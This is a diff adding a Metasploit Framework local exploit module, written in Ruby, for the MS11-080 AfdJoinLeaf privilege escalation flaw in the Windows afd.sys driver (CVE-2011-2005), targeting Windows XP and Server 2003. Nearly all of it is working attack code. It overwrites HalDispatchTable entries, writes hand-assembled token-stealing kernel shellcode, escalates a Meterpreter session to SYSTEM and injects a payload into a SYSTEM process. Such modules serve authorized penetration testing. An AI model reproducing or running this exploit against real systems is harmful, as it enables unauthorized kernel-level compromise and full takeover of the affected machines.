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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | +require 'msf/core/post/common' |
| 11 | +require 'msf/core/post/windows/priv' |
| 12 | + |
| 13 | +class Metasploit3 < Msf::Exploit::Local |
| 14 | + Rank = AverageRanking |
| 15 | + # Average because this module relies on memory corruption within the |
| 16 | + # kernel, this is inherently dangerous. Also if the payload casues |
| 17 | + # the system process that it was injected into to die then it's also |
| 18 | + # possible that the system may become unstable. |
| 19 | + |
| 20 | + include Msf::Post::Common |
| 21 | + include Msf::Post::Windows::Priv |
| 22 | + |
| 23 | + def initialize(info={}) |
| 24 | + super(update_info(info, { |
| 25 | + 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation', |
| 26 | + 'Description' => %q{ |
| 27 | + This module exploits a flaw in the AfdJoinLeaf function of the |
| 28 | + afd.sys driver to overwrite data in kernel space. An address |
| 29 | + within the HalDispatchTable is overwritten and when triggered |
| 30 | + with a call to NtQueryIntervalProfile will execute shellcode. |
| 31 | +
|
| 32 | + This module will elevate itself to SYSTEM, then inject the payload |
| 33 | + into another SYSTEM process before restoring it's own token to |
| 34 | + avoid causing system instability. |
| 35 | + }, |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + 'Author' => |
| 38 | + [ |
| 39 | + 'Matteo Memelli', # original exploit and all the hard work |
| 40 | + 'Spencer McIntyre' # MSF module |
| 41 | + ], |
| 42 | + 'Arch' => [ ARCH_X86 ], |
| 43 | + 'Platform' => [ 'windows' ], |
| 44 | + 'SessionTypes' => [ 'meterpreter' ], |
| 45 | + 'DefaultOptions' => |
| 46 | + { |
| 47 | + 'EXITFUNC' => 'thread', |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Automatic', { } ], |
| 52 | + |
| 53 | + [ 'Windows XP SP2 / SP3', |
| 54 | + { |
| 55 | + 'HaliQuerySystemInfo' => 0x16bba, |
| 56 | + 'HalpSetSystemInformation' => 0x19436, |
| 57 | + '_KPROCESS' => "\x44", |
| 58 | + '_TOKEN' => "\xc8", |
| 59 | + '_UPID' => "\x84", |
| 60 | + '_APLINKS' => "\x88" |
| 61 | + } |
| 62 | + ], |
| 63 | + |
| 64 | + [ 'Windows Server 2003 SP2', |
| 65 | + { |
| 66 | + 'HaliQuerySystemInfo' => 0x1fa1e, |
| 67 | + 'HalpSetSystemInformation' => 0x21c60, |
| 68 | + '_KPROCESS' => "\x38", |
| 69 | + '_TOKEN' => "\xd8", |
| 70 | + '_UPID' => "\x94", |
| 71 | + '_APLINKS' => "\x98" |
| 72 | + } |
| 73 | + ], |
| 74 | + ], |
| 75 | + 'References' => |
| 76 | + [ |
| 77 | + [ 'CVE', '2011-2005' ], |
| 78 | + [ 'MSB', 'MS11-080' ], |
| 79 | + [ 'EDB', 18176 ], |
| 80 | + [ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ] |
| 81 | + ], |
| 82 | + 'DisclosureDate'=> 'Nov 30 2011', |
| 83 | + 'DefaultTarget' => 0 |
| 84 | + })) |
| 85 | + |
| 86 | + register_options([ |
| 87 | + ]) |
| 88 | + |
| 89 | + end |
| 90 | + |
| 91 | + def find_sys_base(drvname) |
| 92 | + session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') |
| 93 | + session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]]) |
| 94 | + session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]]) |
| 95 | + results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) |
| 96 | + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") |
| 97 | + |
| 98 | + addresses.each do |address| |
| 99 | + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) |
| 100 | + current_drvname = results['lpBaseName'][0..results['return'] - 1] |
| 101 | + if drvname == nil |
| 102 | + if current_drvname.downcase.include?('krnl') |
| 103 | + return [address, current_drvname] |
| 104 | + end |
| 105 | + elsif drvname == results['lpBaseName'][0..results['return'] - 1] |
| 106 | + return [address, current_drvname] |
| 107 | + end |
| 108 | + end |
| 109 | + end |
| 110 | + |
| 111 | + # Function borrowed from smart_hashdump |
| 112 | + def get_system_proc |
| 113 | + # Make sure you got the correct SYSTEM Account Name no matter the OS Language |
| 114 | + local_sys = resolve_sid("S-1-5-18") |
| 115 | + system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" |
| 116 | + |
| 117 | + # Processes that can Blue Screen a host if migrated in to |
| 118 | + dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"] |
| 119 | + session.sys.process.processes.each do |p| |
| 120 | + # Check we are not migrating to a process that can BSOD the host |
| 121 | + next if dangerous_processes.include?(p["name"]) |
| 122 | + next if p["pid"] == session.sys.process.getpid |
| 123 | + next if p["pid"] == 4 |
| 124 | + next if p["user"] != system_account_name |
| 125 | + return p |
| 126 | + end |
| 127 | + end |
| 128 | + |
| 129 | + def exploit |
| 130 | + if sysinfo["Architecture"] =~ /wow64/i |
| 131 | + print_error("Running against WOW64 is not supported") |
| 132 | + return |
| 133 | + elsif sysinfo["Architectore"] =~ /x64/ |
| 134 | + print_error("Running against 64-bit systems is not supported") |
| 135 | + return |
| 136 | + end |
| 137 | + |
| 138 | + mytarget = target |
| 139 | + if mytarget.name =~ /Automatic/ |
| 140 | + os = sysinfo["OS"] |
| 141 | + if os =~ /windows xp/i |
| 142 | + mytarget = targets[1] |
| 143 | + end |
| 144 | + if ((os =~ /2003/) and (os =~ /service pack 2/i)) |
| 145 | + mytarget = targets[2] |
| 146 | + end |
| 147 | + if ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) |
| 148 | + mytarget = targets[2] |
| 149 | + end |
| 150 | + |
| 151 | + if mytarget.name =~ /Automatic/ |
| 152 | + print_error("Could not identify the target system, it may not be supported") |
| 153 | + return |
| 154 | + end |
| 155 | + print_status("Running against #{mytarget.name}") |
| 156 | + end |
| 157 | + |
| 158 | + if is_system? |
| 159 | + print_error("This meterpreter session is already running as SYSTEM") |
| 160 | + return |
| 161 | + end |
| 162 | + |
| 163 | + this_proc = session.sys.process.open |
| 164 | + kernel_info = find_sys_base(nil) |
| 165 | + base_addr = 0x1001 |
| 166 | + print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") |
| 167 | + |
| 168 | + result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0) |
| 169 | + socket = result['return'] |
| 170 | + |
| 171 | + irpstuff = rand_text_alpha(8) |
| 172 | + irpstuff << "\x00\x00\x00\x00" |
| 173 | + irpstuff << rand_text_alpha(4) |
| 174 | + irpstuff << "\x01\x00\x00\x00" |
| 175 | + irpstuff << "\xe8\x00" + "4" + "\xf0\x00" |
| 176 | + irpstuff << rand_text_alpha(231) |
| 177 | + |
| 178 | + if not this_proc.memory.writable?(0x1000) |
| 179 | + session.railgun.add_function( |
| 180 | + 'ntdll', |
| 181 | + 'NtAllocateVirtualMemory', |
| 182 | + 'DWORD', |
| 183 | + [ |
| 184 | + ["DWORD", "ProcessHandle", "in"], |
| 185 | + ["PBLOB", "BaseAddress", "inout"], |
| 186 | + ["PDWORD", "ZeroBits", "in"], |
| 187 | + ["PBLOB", "RegionSize", "inout"], |
| 188 | + ["DWORD", "AllocationType", "in"], |
| 189 | + ["DWORD", "Protect", "in"] |
| 190 | + ]) |
| 191 | + |
| 192 | + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE") |
| 193 | + end |
| 194 | + if not this_proc.memory.writable?(0x1000) |
| 195 | + print_error('Failed to properly allocate memory') |
| 196 | + return |
| 197 | + end |
| 198 | + this_proc.memory.write(0x1000, irpstuff) |
| 199 | + |
| 200 | + hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) |
| 201 | + hKernel = hKernel['return'] |
| 202 | + halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") |
| 203 | + halDispatchTable = halDispatchTable['return'] |
| 204 | + halDispatchTable -= hKernel |
| 205 | + halDispatchTable += kernel_info[0] |
| 206 | + print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") |
| 207 | + |
| 208 | + halbase = find_sys_base("hal.dll")[0] |
| 209 | + haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo'] |
| 210 | + halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation'] |
| 211 | + print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}") |
| 212 | + print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}") |
| 213 | + |
| 214 | + #### Exploitation #### |
| 215 | + shellcode_address_dep = 0x0002071e |
| 216 | + shellcode_address_nodep = 0x000207b8 |
| 217 | + padding = make_nops(2) |
| 218 | + halDispatchTable0x4 = halDispatchTable + 0x4 |
| 219 | + halDispatchTable0x8 = halDispatchTable + 0x8 |
| 220 | + |
| 221 | + restore_ptrs = "\x31\xc0" |
| 222 | + restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L") |
| 223 | + restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L") |
| 224 | + restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L") |
| 225 | + restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L") |
| 226 | + |
| 227 | + tokenstealing = "\x52" |
| 228 | + tokenstealing << "\x53" |
| 229 | + tokenstealing << "\x33\xc0" |
| 230 | + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" |
| 231 | + tokenstealing << "\x8b\x40" + mytarget['_KPROCESS'] |
| 232 | + tokenstealing << "\x8b\xc8" |
| 233 | + tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00" |
| 234 | + tokenstealing << "\x89\x1d\x00\x09\x02\x00" |
| 235 | + tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00" |
| 236 | + tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00" |
| 237 | + tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" |
| 238 | + tokenstealing << "\x75\xe8" |
| 239 | + tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" |
| 240 | + tokenstealing << "\x8b\xc1" |
| 241 | + tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" |
| 242 | + tokenstealing << "\x5b" |
| 243 | + tokenstealing << "\x5a" |
| 244 | + tokenstealing << "\xc2\x10" |
| 245 | + |
| 246 | + restore_token = "\x52" |
| 247 | + restore_token << "\x33\xc0" |
| 248 | + restore_token << "\x64\x8b\x80\x24\x01\x00\x00" |
| 249 | + restore_token << "\x8b\x40" + mytarget['_KPROCESS'] |
| 250 | + restore_token << "\x8b\x15\x00\x09\x02\x00" |
| 251 | + restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00" |
| 252 | + restore_token << "\x5a" |
| 253 | + restore_token << "\xc2\x10" |
| 254 | + |
| 255 | + shellcode = padding + restore_ptrs + tokenstealing |
| 256 | + |
| 257 | + this_proc.memory.write(shellcode_address_dep, shellcode) |
| 258 | + this_proc.memory.write(shellcode_address_nodep, shellcode) |
| 259 | + this_proc.memory.protect(0x00020000) |
| 260 | + |
| 261 | + addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!") |
| 262 | + result = session.railgun.ws2_32.connect(socket, addr, addr.length) |
| 263 | + if result['return'] != 0xffffffff |
| 264 | + print_error("The socket is not in the correct state") |
| 265 | + return |
| 266 | + end |
| 267 | + |
| 268 | + session.railgun.add_function( |
| 269 | + 'ntdll', |
| 270 | + 'NtDeviceIoControlFile', |
| 271 | + 'DWORD', |
| 272 | + [ |
| 273 | + [ "DWORD", "FileHandle", "in" ], |
| 274 | + [ "DWORD", "Event", "in" ], |
| 275 | + [ "DWORD", "ApcRoutine", "in" ], |
| 276 | + [ "DWORD", "ApcContext", "in" ], |
| 277 | + [ "PDWORD", "IoStatusBlock", "out" ], |
| 278 | + [ "DWORD", "IoControlCode", "in" ], |
| 279 | + [ "LPVOID", "InputBuffer", "in" ], |
| 280 | + [ "DWORD", "InputBufferLength", "in" ], |
| 281 | + [ "LPVOID", "OutputBuffer", "in" ], |
| 282 | + [ "DWORD", "OutPutBufferLength", "in" ] |
| 283 | + ]) |
| 284 | + |
| 285 | + session.railgun.add_function( |
| 286 | + 'ntdll', |
| 287 | + 'NtQueryIntervalProfile', |
| 288 | + 'DWORD', |
| 289 | + [ |
| 290 | + [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] |
| 291 | + ]) |
| 292 | + |
| 293 | + print_status("Triggering AFDJoinLeaf pointer overwrite...") |
| 294 | + result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) |
| 295 | + result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) |
| 296 | + |
| 297 | + if not is_system? |
| 298 | + print_error("Exploit failed") |
| 299 | + return |
| 300 | + end |
| 301 | + |
| 302 | + begin |
| 303 | + proc = get_system_proc |
| 304 | + print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}") |
| 305 | + host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS) |
| 306 | + mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024)) |
| 307 | + |
| 308 | + print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}") |
| 309 | + host_process.memory.write(mem, payload.encoded) |
| 310 | + host_process.thread.create(mem, 0) |
| 311 | + rescue ::Exception => e |
| 312 | + print_error("Failed to Inject Payload") |
| 313 | + print_error(e.to_s) |
| 314 | + end |
| 315 | + |
| 316 | + # Restore the token because apparently BSODs are frowned upon |
| 317 | + print_status("Restoring the original token...") |
| 318 | + shellcode = padding + restore_ptrs + restore_token |
| 319 | + this_proc.memory.write(shellcode_address_dep, shellcode) |
| 320 | + this_proc.memory.write(shellcode_address_nodep, shellcode) |
| 321 | + |
| 322 | + result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) |
| 323 | + result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) |
| 324 | + end |
| 325 | + |
| 326 | +end |
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